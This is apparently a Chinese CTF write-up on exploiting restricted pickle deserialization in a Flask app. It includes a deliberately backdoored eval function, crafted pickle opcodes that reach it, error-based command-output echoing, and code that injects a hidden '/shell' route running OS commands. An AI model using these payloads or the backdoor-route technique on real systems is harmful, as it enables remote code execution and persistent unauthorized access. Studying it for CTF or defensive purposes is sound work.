前言
研究这个问题主要是打比赛的时候遇到了,题目内容大概是这样的【查看资料】
# app.py
from flask import Flask , request , session , render_template_string , url_for , redirect
import pickle
import io
import sys
import base64
import random
import subprocess
from config import notadmin
app = Flask ( __name__ )
class RestrictedUnpickler ( pickle . Unpickler ):
def find_class ( self , module , name ):
if module in [ 'config' ] and "__" not in name :
return getattr ( sys . modules [ module ], name )
raise pickle . UnpicklingError ( "'%s.%s' not allowed" % ( module , name ))
def restricted_loads ( s ):
"""Helper function analogous to pickle.loads()."""
return RestrictedUnpickler ( io . BytesIO ( s )) . load ()
@app.route ( '/' )
def index ():
info = request . args . get ( 'name' , '' )
if info is not '' :
x = base64 . b64decode ( info )
User = restricted_loads ( x )
return render_template_string ( 'Hello' )
if __name__ == '__main__' :
app . run ( host='0.0.0.0' , debug=True , port= 5000 )
# config.py
notadmin = { "admin" : "no" }
def backdoor ( cmd ):
if notadmin [ "admin" ] == "yes" :
s = '' . join ( cmd )
eval ( s )
可以看出来是个简单的pickle反序列化,这不是本次的重点,重点是这道题在eval后如何回显,最简单的方式想到的是反弹shell,但是经过测试发现目标机器并不出网,所以我们需要寻找其他的方式去让我们的命令回显
debug模式下利用报错
众所周知,在flask中如果开启了debug模式,报错是会显示详细信息的,比赛中debug模式通常考点是构造pin码,但是我们这里想到,可以通过手动控制报错的方式来让我们的命令回显。
简单地构造exp,这里需要注意的是eval并不能执行python语句,所以我们需要利用eval去调用exec来实现手动抛出报错
from base64 import b64encode
from urllib.parse import quote
def base64_encode ( s : str , encoding='utf-8' ) -> str :
return b64encode ( s . encode ()) . decode ( encoding=encoding )
exc = "raise Exception(__import__('os').popen('whoami').read())"
exc = base64_encode ( exc ) . encode ()
opcode = b'''cconfig
notadmin
(S'admin'
S'yes'
u0(cconfig
backdoor
(S'exec(__import__("base64").b64decode(b"%s"))'
lo.''' % ( exc )
print ( quote ( b64encode ( opcode ) . decode ()))
可以看到我们成功通过Exception去拿到了回显
失败的尝试: 直接import模块获取app
一开始想到的方法是直接import app.py来获取app,但是事实证明此app非彼app,添加了路由但是并不能访问到,应该是一个全新的app
成功的尝试: sys.modules
sys.modules是一个全局字典,该字典是python启动后就加载在内存中。每当程序员导入新的模块,sys.modules都将记录这些模块。字典sys.modules对于加载模块起到了缓冲的作用。当某个模块第一次导入,字典sys.modules将自动记录该模块。当第二次再导入该模块时,python会直接到字典中查找,从而加快了程序运行的速度。
所以我们可以通过sys.modules拿到当前已经导入的模块,并且获取模块中的属性,由于我们最终的eval是在app.py中执行的,所以我们可以通过sys.modules['__main__']来获取当前的模块,我们写个简单的测试来看看上面的app与实际的app是否相同
import sys
import app
app1 = sys . modules [ '__main__' ] . __dict__ [ 'app' ]
app2 = app . app
print ( id ( app1 ))
print ( id ( app2 ))
可以看到app的id并不相同,所以他们并非相同的app
这里我们尝试直接添加后门路由,会发现存在报错
import sys
import os
sys . modules [ '__main__' ] . __dict__ [ 'app' ] . add_url_rule ( '/shell' , 'shell' , lambda : os . popen ( 'dir' ) . read ())
这个报错是由于我们在第一个请求处理后调用了设置函数(add_url_rule),此报错只会在debug模式下触发,可以参考使用了Flask框架的工具的issue:
所以我们需要在非debug模式下才能成功添加后门路由(又或者我们直接设置debug=False来解决这个问题)
import sys
sys . modules [ '__main__' ] . __dict__ [ 'app' ] . debug=False
sys . modules [ '__main__' ] . __dict__ [ 'app' ] . add_url_rule ( '/shell' , 'shell' , lambda : __import__ ( 'os' ) . popen ( 'dir' ) . read ())
最后
关注我,持续更新······
私我获取【网络安全学习资料·攻略】